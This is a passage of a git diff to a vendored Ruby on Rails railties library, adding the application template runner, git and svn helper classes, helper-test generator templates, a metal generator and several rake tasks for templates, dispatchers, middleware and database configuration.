:socket => options[:db] == "mysql" ? mysql_socket_location : nil } + end + + def create_routes_file(m) + m.file "configs/routes.rb", "config/routes.rb" + end + + def create_initializer_files(m) + %w( + backtrace_silencers + inflections + mime_types + new_rails_defaults + ).each do |initializer| + m.file "configs/initializers/#{initializer}.rb", "config/initializers/#{initializer}.rb" + end + + m.template "configs/initializers/session_store.rb", "config/initializers/session_store.rb", + :assigns => { :app_name => @app_name, :app_secret => ActiveSupport::SecureRandom.hex(64) } + end + + def create_locale_file(m) + m.file "configs/locales/en.yml", "config/locales/en.yml" + end + + def create_environment_files(m) + m.template "environments/environment.rb", "config/environment.rb", + :assigns => { :freeze => options[:freeze] } + + m.file "environments/boot.rb", "config/boot.rb" + m.file "environments/production.rb", "config/environments/production.rb" + m.file "environments/development.rb", "config/environments/development.rb" + m.file "environments/test.rb", "config/environments/test.rb" + end + + + def create_dispatch_files(m) + if options[:with_dispatchers] + dispatcher_options = { :chmod => 0755, :shebang => options[:shebang] } + + m.file "dispatches/config.ru", "config.ru" + m.file "dispatches/dispatch.rb", "public/dispatch.rb", dispatcher_options + m.file "dispatches/dispatch.rb", "public/dispatch.cgi", dispatcher_options + m.file "dispatches/dispatch.fcgi", "public/dispatch.fcgi", dispatcher_options + end + end + + def create_error_files(m) + %w( 404 422 500 ).each do |file| + m.file "html/#{file}.html", "public/#{file}.html" + end + end + + def create_welcome_file(m) + m.file 'html/index.html', 'public/index.html' + end + + def create_browser_convention_files(m) + m.file "html/favicon.ico", "public/favicon.ico" + m.file "html/robots.txt", "public/robots.txt" + end + + def create_rails_image(m) + m.file "html/images/rails.png", "public/images/rails.png" + end + + def create_javascript_files(m) + %w( prototype effects dragdrop controls application ).each do |javascript| + m.file "html/javascripts/#{javascript}.js", "public/javascripts/#{javascript}.js" + end + end + + def mysql_socket_location - MYSQL_SOCKET_LOCATIONS.find { |f| File.exist?(f) } unless RUBY_PLATFORM =~ /(:?mswin|mingw)/ + [ + "/tmp/mysql.sock", # default + "/var/run/mysqld/mysqld.sock", # debian/gentoo + "/var/tmp/mysql.sock", # freebsd + "/var/lib/mysql/mysql.sock", # fedora + "/opt/local/lib/mysql/mysql.sock", # fedora + "/opt/local/var/run/mysqld/mysqld.sock", # mac + darwinports + mysql + "/opt/local/var/run/mysql4/mysqld.sock", # mac + darwinports + mysql4 + "/opt/local/var/run/mysql5/mysqld.sock", # mac + darwinports + mysql5 + "/opt/lampp/var/mysql/mysql.sock" # xampp for linux + ].find { |f| File.exist?(f) } unless RUBY_PLATFORM =~ /(:?mswin|mingw)/ end - - - # Installation skeleton. Intermediate directories are automatically - # created so don't sweat their absence here. - BASEDIRS = %w( - app/controllers - app/helpers - app/models - app/views/layouts - config/environments - config/initializers - config/locales - db - doc - lib - lib/tasks - log - public/images - public/javascripts - public/stylesheets - script/performance - script/process - test/fixtures - test/functional - test/integration - test/performance - test/unit - vendor - vendor/plugins - tmp/sessions - tmp/sockets - tmp/cache - tmp/pids - ) - - MYSQL_SOCKET_LOCATIONS = [ - "/tmp/mysql.sock", # default - "/var/run/mysqld/mysqld.sock", # debian/gentoo - "/var/tmp/mysql.sock", # freebsd - "/var/lib/mysql/mysql.sock", # fedora - "/opt/local/lib/mysql/mysql.sock", # fedora - "/opt/local/var/run/mysqld/mysqld.sock", # mac + darwinports + mysql - "/opt/local/var/run/mysql4/mysqld.sock", # mac + darwinports + mysql4 - "/opt/local/var/run/mysql5/mysqld.sock", # mac + darwinports + mysql5 - "/opt/lampp/var/mysql/mysql.sock" # xampp for linux - ] -end +end \ No newline at end of file diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb new file mode 100644 index 00000000..445de6ab --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb @@ -0,0 +1,16 @@ +module Rails + class Git < Scm + def self.clone(repos, branch=nil) + `git clone #{repos}` + + if branch + `cd #{repos.split('/').last}/` + `git checkout #{branch}` + end + end + + def self.run(command) + `git #{command}` + end + end +end \ No newline at end of file diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb new file mode 100644 index 00000000..f6c08cad --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb @@ -0,0 +1,8 @@ +module Rails + class Scm + private + def self.hash_to_parameters(hash) + hash.collect { |key, value| "--#{key} #{(value.kind_of?(String) ? value : "")}"}.join(" ") + end + end +end \ No newline at end of file diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb new file mode 100644 index 00000000..22b5966d --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb @@ -0,0 +1,7 @@ +module Rails + class Svn < Scm + def self.checkout(repos, branch = nil) + `svn checkout #{repos}/#{branch || "trunk"}` + end + end +end \ No newline at end of file diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb new file mode 100644 index 00000000..84e36ecc --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb @@ -0,0 +1,375 @@ +require File.dirname(__FILE__) + '/scm/scm' +require File.dirname(__FILE__) + '/scm/git' +require File.dirname(__FILE__) + '/scm/svn' + +require 'open-uri' +require 'fileutils' + +module Rails + class TemplateRunner + attr_reader :root + attr_writer :logger + + def initialize(template, root = '') # :nodoc: + @root = File.expand_path(File.directory?(root) ? root : File.join(Dir.pwd, root)) + + log 'applying', "template: #{template}" + + load_template(template) + + log 'applied', "#{template}" + end + + def load_template(template) + begin + code = open(template).read + in_root { self.instance_eval(code) } + rescue LoadError, Errno::ENOENT => e + raise "The template [#{template}] could not be loaded. Error: #{e}" + end + end + + # Create a new file in the Rails project folder. Specify the + # relative path from RAILS_ROOT. Data is the return value of a block + # or a data string. + # + # ==== Examples + # + # file("lib/fun_party.rb") do + # hostname = ask("What is the virtual hostname I should use?") + # "vhost.name = #{hostname}" + # end + # + # file("config/apach.conf", "your apache config") + # + def file(filename, data = nil, log_action = true, &block) + log 'file', filename if log_action + dir, file = [File.dirname(filename), File.basename(filename)] + + inside(dir) do + File.open(file, "w") do |f| + if block_given? + f.write(block.call) + else + f.write(data) + end + end + end + end + + # Install a plugin. You must provide either a Subversion url or Git url. + # For a Git-hosted plugin, you can specify if it should be added as a submodule instead of cloned. + # + # ==== Examples + # + # plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git' + # plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git', :submodule => true + # plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk' + # + def plugin(name, options) + log 'plugin', name + + if options[:git] && options[:submodule] + in_root do + Git.run("submodule add #{options[:git]} vendor/plugins/#{name}") + end + elsif options[:git] || options[:svn] + in_root do + run("script/plugin install #{options[:svn] || options[:git]}", false) + end + else + log "! no git or svn provided for #{name}. skipping..." + end + end + + # Adds an entry into config/environment.rb for the supplied gem : + def gem(name, options = {}) + log 'gem', name + + gems_code = "config.gem '#{name}'" + + if options.any? + opts = options.inject([]) {|result, h| result << [":#{h[0]} => '#{h[1]}'"] }.sort.join(", ") + gems_code << ", #{opts}" + end + + environment gems_code + end + + # Adds a line inside the Initializer block for config/environment.rb. Used by #gem + def environment(data = nil, &block) + sentinel = 'Rails::Initializer.run do |config|' + + data = block.call if !data && block_given? + + in_root do + gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match| + "#{match}\n " << data + end + end + end + + # Run a command in git. + # + # ==== Examples + # + # git :init + # git :add => "this.file that.rb" + # git :add => "onefile.rb", :rm => "badfile.cxx" + # + def git(command = {}) + in_root do + if command.is_a?(Symbol) + log 'running', "git #{command}" + Git.run(command.to_s) + else + command.each do |command, options| + log 'running', "git #{command} #{options}" + Git.run("#{command} #{options}") + end + end + end + end + + # Create a new file in the vendor/ directory. Code can be specified + # in a block or a data string can be given. + # + # ==== Examples + # + # vendor("sekrit.rb") do + # sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--" + # "salt = '#{sekrit_salt}'" + # end + # + # vendor("foreign.rb", "# Foreign code is fun") + # + def vendor(filename, data = nil, &block) + log 'vendoring', filename + file("vendor/#{filename}", data, false, &block) + end + + # Create a new file in the lib/ directory. Code can be specified + # in a block or a data string can be given. + # + # ==== Examples + # + # lib("crypto.rb") do + # "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'" + # end + # + # lib("foreign.rb", "# Foreign code is fun") + # + def lib(filename, data = nil, &block) + log 'lib', filename + file("lib/#{filename}", data, false, &block) + end + + # Create a new Rakefile with the provided code (either in a block or a string). + # + # ==== Examples + # + # rakefile("bootstrap.rake") do + # project = ask("What is the UNIX name of your project?") + # + # <<-TASK + # namespace :#{project} do + # task :bootstrap do + # puts "i like boots!" + # end + # end + # TASK + # end + # + # rakefile("seed.rake", "puts 'im plantin ur seedz'") + # + def rakefile(filename, data = nil, &block) + log 'rakefile', filename + file("lib/tasks/#{filename}", data, false, &block) + end + + # Create a new initializer with the provided code (either in a block or a string). + # + # ==== Examples + # + # initializer("globals.rb") do + # data = "" + # + # ['MY_WORK', 'ADMINS', 'BEST_COMPANY_EVAR'].each do + # data << "#{const} = :entp" + # end + # + # data + # end + # + # initializer("api.rb", "API_KEY = '123456'") + # + def initializer(filename, data = nil, &block) + log 'initializer', filename + file("config/initializers/#{filename}", data, false, &block) + end + + # Generate something using a generator from Rails or a plugin. + # The second parameter is the argument string that is passed to + # the generator or an Array that is joined. + # + # ==== Example + # + # generate(:authenticated, "user session") + # + def generate(what, *args) + log 'generating', what + argument = args.map(&:to_s).flatten.join(" ") + + in_root { run("script/generate #{what} #{argument}", false) } + end + + # Executes a command + # + # ==== Example + # + # inside('vendor') do + # run('ln -s ~/edge rails) + # end + # + def run(command, log_action = true) + log 'executing', "#{command} from #{Dir.pwd}" if log_action + `#{command}` + end + + # Runs the supplied rake task + # + # ==== Example + # + # rake("db:migrate") + # rake("db:migrate", :env => "production") + # rake("gems:install", :sudo => true) + # + def rake(command, options = {}) + log 'rake', command + env = options[:env] || 'development' + sudo = options[:sudo] ? 'sudo ' : '' + in_root { run("#{sudo}rake #{command} RAILS_ENV=#{env}", false) } + end + + # Just run the capify command in root + # + # ==== Example + # + # capify! + # + def capify! + log 'capifying' + in_root { run('capify .', false) } + end + + # Add Rails to /vendor/rails + # + # ==== Example + # + # freeze! + # + def freeze!(args = {}) + log 'vendor', 'rails edge' + in_root { run('rake rails:freeze:edge', false) } + end + + # Make an entry in Rails routing file conifg/routes.rb + # + # === Example + # + # route "map.root :controller => :welcome" + # + def route(routing_code) + log 'route', routing_code + sentinel = 'ActionController::Routing::Routes.draw do |map|' + + in_root do + gsub_file 'config/routes.rb', /(#{Regexp.escape(sentinel)})/mi do |match| + "#{match}\n #{routing_code}\n" + end + end + end + + protected + + # Get a user's input + # + # ==== Example + # + # answer = ask("Should I freeze the latest Rails?") + # freeze! if ask("Should I freeze the latest Rails?") == "yes" + # + def ask(string) + log '', string + gets.strip + end + + # Do something in the root of the Rails application or + # a provided subfolder; the full path is yielded to the block you provide. + # The path is set back to the previous path when the method exits. + def inside(dir = '', &block) + folder = File.join(root, dir) + FileUtils.mkdir_p(folder) unless File.exist?(folder) + FileUtils.cd(folder) { block.arity == 1 ? yield(folder) : yield } + end + + def in_root + FileUtils.cd(root) { yield } + end + + # Helper to test if the user says yes(y)? + # + # ==== Example + # + # freeze! if yes?("Should I freeze the latest Rails?") + # + def yes?(question) + answer = ask(question).downcase + answer == "y" || answer == "yes" + end + + # Helper to test if the user does NOT say yes(y)? + # + # ==== Example + # + # capify! if no?("Will you be using vlad to deploy your application?") + # + def no?(question) + !yes?(question) + end + + # Run a regular expression replacement on a file + # + # ==== Example + # + # gsub_file 'app/controllers/application_controller.rb', /#\s*(filter_parameter_logging :password)/, '\1' + # + def gsub_file(relative_destination, regexp, *args, &block) + path = destination_path(relative_destination) + content = File.read(path).gsub(regexp, *args, &block) + File.open(path, 'wb') { |file| file.write(content) } + end + + def destination_path(relative_destination) + File.join(root, relative_destination) + end + + def log(action, message = '') + logger.log(action, message) + end + + def logger + @logger ||= Rails::Generator::Base.logger + end + + def logger + @logger ||= if defined?(Rails::Generator::Base) + Rails::Generator::Base.logger + else + require 'rails_generator/simple_logger' + Rails::Generator::SimpleLogger.new(STDOUT) + end + end + + end +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE index d4fae60c..362872e8 100644 --- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE +++ b/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE @@ -6,24 +6,25 @@ Description: path like 'parent_module/controller_name'. This generates a controller class in app/controllers, view templates in - app/views/controller_name, a helper class in app/helpers, and a functional - test suite in test/functional. + app/views/controller_name, a helper class in app/helpers, a functional + test suite in test/functional and a helper test suite in test/unit/helpers. Example: `./script/generate controller CreditCard open debit credit close` Credit card controller with URLs like /credit_card/debit. - Controller: app/controllers/credit_card_controller.rb - Views: app/views/credit_card/debit.html.erb [...] - Helper: app/helpers/credit_card_helper.rb - Test: test/functional/credit_card_controller_test.rb + Controller: app/controllers/credit_card_controller.rb + Functional Test: test/functional/credit_card_controller_test.rb + Views: app/views/credit_card/debit.html.erb [...] + Helper: app/helpers/credit_card_helper.rb + Helper Test: test/unit/helpers/credit_card_helper_test.rb Modules Example: `./script/generate controller 'admin/credit_card' suspend late_fee` Credit card admin controller with URLs /admin/credit_card/suspend. - Controller: app/controllers/admin/credit_card_controller.rb - Views: app/views/admin/credit_card/debit.html.erb [...] - Helper: app/helpers/admin/credit_card_helper.rb - Test: test/functional/admin/credit_card_controller_test.rb - + Controller: app/controllers/admin/credit_card_controller.rb + Functional Test: test/functional/admin/credit_card_controller_test.rb + Views: app/views/admin/credit_card/debit.html.erb [...] + Helper: app/helpers/admin/credit_card_helper.rb + Helper Test: test/unit/helpers/admin/credit_card_helper_test.rb diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb index 77b2220d..dc126e8a 100644 --- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb +++ b/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb @@ -2,13 +2,14 @@ class ControllerGenerator < Rails::Generator::NamedBase def manifest record do |m| # Check for class naming collisions. - m.class_collisions "#{class_name}Controller", "#{class_name}ControllerTest", "#{class_name}Helper" + m.class_collisions "#{class_name}Controller", "#{class_name}ControllerTest", "#{class_name}Helper", "#{class_name}HelperTest" # Controller, helper, views, and test directories. m.directory File.join('app/controllers', class_path) m.directory File.join('app/helpers', class_path) m.directory File.join('app/views', class_path, file_name) m.directory File.join('test/functional', class_path) + m.directory File.join('test/unit/helpers', class_path) # Controller class, functional test, and helper class. m.template 'controller.rb', @@ -26,6 +27,11 @@ class ControllerGenerator < Rails::Generator::NamedBase class_path, "#{file_name}_helper.rb") + m.template 'helper_test.rb', + File.join('test/unit/helpers', + class_path, + "#{file_name}_helper_test.rb") + # View template for each action. actions.each do |action| path = File.join('app/views', class_path, file_name, "#{action}.html.erb") diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb new file mode 100644 index 00000000..591e4090 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class <%= class_name %>HelperTest < ActionView::TestCase +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE new file mode 100644 index 00000000..ef27ca61 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE @@ -0,0 +1,24 @@ +Description: + Stubs out a new helper. Pass the helper name, either + CamelCased or under_scored. + + To create a helper within a module, specify the helper name as a + path like 'parent_module/helper_name'. + + This generates a helper class in app/helpers and a helper test + suite in test/unit/helpers. + +Example: + `./script/generate helper CreditCard` + + Credit card helper. + Helper: app/helpers/credit_card_helper.rb + Test: test/unit/helpers/credit_card_helper_test.rb + +Modules Example: + `./script/generate helper 'admin/credit_card'` + + Credit card admin helper. + Helper: app/helpers/admin/credit_card_helper.rb + Test: test/unit/helpers/admin/credit_card_helper_test.rb + diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb new file mode 100644 index 00000000..f7831f7c --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb @@ -0,0 +1,25 @@ +class HelperGenerator < Rails::Generator::NamedBase + def manifest + record do |m| + # Check for class naming collisions. + m.class_collisions class_path, "#{class_name}Helper", "#{class_name}HelperTest" + + # Helper and helper test directories. + m.directory File.join('app/helpers', class_path) + m.directory File.join('test/unit/helpers', class_path) + + # Helper and helper test class. + + m.template 'helper.rb', + File.join('app/helpers', + class_path, + "#{file_name}_helper.rb") + + m.template 'helper_test.rb', + File.join('test/unit/helpers', + class_path, + "#{file_name}_helper_test.rb") + + end + end +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb new file mode 100644 index 00000000..3fe2ecdc --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb @@ -0,0 +1,2 @@ +module <%= class_name %>Helper +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb new file mode 100644 index 00000000..591e4090 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class <%= class_name %>HelperTest < ActionView::TestCase +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE new file mode 100644 index 00000000..123ec6c0 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/metal/USAGE @@ -0,0 +1,8 @@ +Description: + Cast some metal! + +Examples: + `./script/generate metal poller` + + This will create: + Metal: app/metal/poller.rb diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb new file mode 100644 index 00000000..64f49d92 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/metal/metal_generator.rb @@ -0,0 +1,8 @@ +class MetalGenerator < Rails::Generator::NamedBase + def manifest + record do |m| + m.directory 'app/metal' + m.template 'metal.rb', File.join('app/metal', "#{file_name}.rb") + end + end +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb b/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb new file mode 100644 index 00000000..e94982b6 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/metal/templates/metal.rb @@ -0,0 +1,12 @@ +# Allow the metal piece to run in isolation +require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails) + +class <%= class_name %> + def self.call(env) + if env["PATH_INFO"] =~ /^\/<%= file_name %>/ + [200, {"Content-Type" => "text/html"}, ["Hello, World!"]] + else + [404, {"Content-Type" => "text/html"}, ["Not Found"]] + end + end +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE index 83cc9d76..e6043f1d 100644 --- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE +++ b/vendor/rails/railties/lib/rails_generator/generators/components/resource/USAGE @@ -11,8 +11,8 @@ Description: You don't have to think up every attribute up front, but it helps to sketch out a few so you can start working with the resource immediately. - This creates a model, controller, tests and fixtures for both, and the - corresponding map.resources declaration in config/routes.rb + This creates a model, controller, helper, tests and fixtures for all of them, + and the corresponding map.resources declaration in config/routes.rb Unlike the scaffold generator, the resource generator does not create views or add any methods to the generated controller. diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb index ea6dd65b..4ee2fbff 100644 --- a/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb +++ b/vendor/rails/railties/lib/rails_generator/generators/components/resource/resource_generator.rb @@ -40,6 +40,7 @@ class ResourceGenerator < Rails::Generator::NamedBase m.directory(File.join('app/views', controller_class_path, controller_file_name)) m.directory(File.join('test/functional', controller_class_path)) m.directory(File.join('test/unit', class_path)) + m.directory(File.join('test/unit/helpers', class_path)) m.dependency 'model', [name] + @args, :collision => :skip @@ -49,6 +50,7 @@ class ResourceGenerator < Rails::Generator::NamedBase m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb")) m.template('helper.rb', File.join('app/helpers', controller_class_path, "#{controller_file_name}_helper.rb")) + m.template('helper_test.rb', File.join('test/unit/helpers', controller_class_path, "#{controller_file_name}_helper_test.rb")) m.route_resources controller_file_name end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb new file mode 100644 index 00000000..061f64a5 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/resource/templates/helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class <%= controller_class_name %>HelperTest < ActionView::TestCase +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb index ff0381da..2a5edeed 100644 --- a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb +++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb @@ -47,6 +47,7 @@ class ScaffoldGenerator < Rails::Generator::NamedBase m.directory(File.join('app/views/layouts', controller_class_path)) m.directory(File.join('test/functional', controller_class_path)) m.directory(File.join('test/unit', class_path)) + m.directory(File.join('test/unit/helpers', class_path)) m.directory(File.join('public/stylesheets', class_path)) for action in scaffold_views @@ -66,6 +67,7 @@ class ScaffoldGenerator < Rails::Generator::NamedBase m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb")) m.template('helper.rb', File.join('app/helpers', controller_class_path, "#{controller_file_name}_helper.rb")) + m.template('helper_test.rb', File.join('test/unit/helpers', controller_class_path, "#{controller_file_name}_helper_test.rb")) m.route_resources controller_file_name diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb new file mode 100644 index 00000000..061f64a5 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/scaffold/templates/helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class <%= controller_class_name %>HelperTest < ActionView::TestCase +end diff --git a/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb b/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb index 553811d3..7dd495a2 100644 --- a/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb +++ b/vendor/rails/railties/lib/rails_generator/secret_key_generator.rb @@ -1,3 +1,5 @@ +require 'active_support/deprecation' + module Rails # A class for creating random secret keys. This class will do its best to create a # random secret key that's as secure as possible, using whatever methods are diff --git a/vendor/rails/railties/lib/tasks/databases.rake b/vendor/rails/railties/lib/tasks/databases.rake index 5cb27f1f..68ffefae 100644 --- a/vendor/rails/railties/lib/tasks/databases.rake +++ b/vendor/rails/railties/lib/tasks/databases.rake @@ -1,7 +1,12 @@ namespace :db do + task :load_config => :rails_env do + require 'active_record' + ActiveRecord::Base.configurations = Rails::Configuration.new.database_configuration + end + namespace :create do desc 'Create all the local databases defined in config/database.yml' - task :all => :environment do + task :all => :load_config do ActiveRecord::Base.configurations.each_value do |config| # Skip entries that don't have a database key, such as the first entry here: # @@ -22,7 +27,7 @@ namespace :db do end desc 'Create the database defined in config/database.yml for the current RAILS_ENV' - task :create => :environment do + task :create => :load_config do create_database(ActiveRecord::Base.configurations[RAILS_ENV]) end @@ -76,7 +81,7 @@ namespace :db do namespace :drop do desc 'Drops all the local databases defined in config/database.yml' - task :all => :environment do + task :all => :load_config do ActiveRecord::Base.configurations.each_value do |config| # Skip entries that don't have a database key next unless config['database'] @@ -87,7 +92,7 @@ namespace :db do end desc 'Drops the database for the current RAILS_ENV' - task :drop => :environment do + task :drop => :load_config do config = ActiveRecord::Base.configurations[RAILS_ENV || 'development'] begin drop_database(config) @@ -105,7 +110,7 @@ namespace :db do end - desc "Migrate the database through scripts in db/migrate. Target specific version with VERSION=x. Turn off output with VERBOSE=false." + desc "Migrate the database through scripts in db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false." task :migrate => :environment do ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true ActiveRecord::Migrator.migrate("db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil) @@ -375,7 +380,7 @@ namespace :db do end namespace :sessions do - desc "Creates a sessions migration for use with CGI::Session::ActiveRecordStore" + desc "Creates a sessions migration for use with ActiveRecord::SessionStore" task :create => :environment do raise "Task unavailable to this database (no migration support)" unless ActiveRecord::Base.connection.supports_migrations? require 'rails_generator' @@ -393,6 +398,7 @@ end def drop_database(config) case config['adapter'] when 'mysql' + ActiveRecord::Base.establish_connection(config) ActiveRecord::Base.connection.drop_database config['database'] when /^sqlite/ FileUtils.rm(File.join(RAILS_ROOT, config['database'])) diff --git a/vendor/rails/railties/lib/tasks/framework.rake b/vendor/rails/railties/lib/tasks/framework.rake index 5d1f8cf9..191c9361 100644 --- a/vendor/rails/railties/lib/tasks/framework.rake +++ b/vendor/rails/railties/lib/tasks/framework.rake @@ -78,7 +78,13 @@ namespace :rails do end desc "Update both configs, scripts and public/javascripts from Rails" - task :update => [ "update:scripts", "update:javascripts", "update:configs" ] + task :update => [ "update:scripts", "update:javascripts", "update:configs", "update:application_controller" ] + + desc "Applies the template supplied by LOCATION=/path/to/template" + task :template do + require 'rails_generator/generators/applications/app/template_runner' + Rails::TemplateRunner.new(ENV["LOCATION"]) + end namespace :update do desc "Add new scripts to the application script/ directory" @@ -114,5 +120,24 @@ namespace :rails do require 'railties_path' FileUtils.cp(RAILTIES_PATH + '/environments/boot.rb', RAILS_ROOT + '/config/boot.rb') end + + desc "Rename application.rb to application_controller.rb" + task :application_controller do + old_style = RAILS_ROOT + '/app/controllers/application.rb' + new_style = RAILS_ROOT + '/app/controllers/application_controller.rb' + if File.exists?(old_style) && !File.exists?(new_style) + FileUtils.mv(old_style, new_style) + puts "#{old_style} has been renamed to #{new_style}, update your SCM as necessary" + end + end + + desc "Generate dispatcher files in RAILS_ROOT/public" + task :generate_dispatchers do + require 'railties_path' + FileUtils.cp(RAILTIES_PATH + '/dispatches/config.ru', RAILS_ROOT + '/config.ru') + FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.fcgi', RAILS_ROOT + '/public/dispatch.fcgi') + FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.rb', RAILS_ROOT + '/public/dispatch.rb') + FileUtils.cp(RAILTIES_PATH + '/dispatches/dispatch.rb', RAILS_ROOT + '/public/dispatch.cgi') + end end end diff --git a/vendor/rails/railties/lib/tasks/gems.rake b/vendor/rails/railties/lib/tasks/gems.rake index 754e3ba5..e6731ab7 100644 --- a/vendor/rails/railties/lib/tasks/gems.rake +++ b/vendor/rails/railties/lib/tasks/gems.rake @@ -17,13 +17,13 @@ end namespace :gems do task :base do - $rails_gem_installer = true + $rails_rake_task = true Rake::Task[:environment].invoke end desc "Build any native extensions for unpacked gems" task :build do - $rails_gem_installer = true + $rails_rake_task = true require 'rails/gem_builder' Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |gem_dir| spec_file = File.join(gem_dir, '.specification') diff --git a/vendor/rails/railties/lib/tasks/middleware.rake b/vendor/rails/railties/lib/tasks/middleware.rake new file mode 100644 index 00000000..05f15918 --- /dev/null +++ b/vendor/rails/railties/lib/tasks/middleware.rake @@ -0,0 +1,7 @@ +desc 'Prints out your Rack middleware stack' +task :middleware => :environment do + ActionController::Dispatcher.middleware.active.each do |middleware| + puts "use #{middleware.inspect}" + end + puts "run ActionController::Dispatcher.new" +end diff --git a/vendor/rails/railties/lib/tasks/misc.rake b/vendor/rails/railties/lib/tasks/misc.rake index 5c997252..9e6f96db 100644 --- a/vendor/rails/railties/lib/tasks/misc.rake +++ b/vendor/rails/railties/lib/tasks/misc.rake @@ -1,8 +1,15 @@ task :default => :test task :environment do + $rails_rake_task = true require(File.join(RAILS_ROOT, 'config', 'environment')) end +task :rails_env do + unless defined? RAILS_ENV + RAILS_ENV = ENV['RAILS_ENV'] ||= 'development' + end +end + desc 'Generate a crytographically secure secret key. This is typically used to generate a secret for cookie sessions.' task :secret do puts ActiveSupport::SecureRandom.hex(64) diff --git a/vendor/rails/railties/lib/tasks/statistics.rake 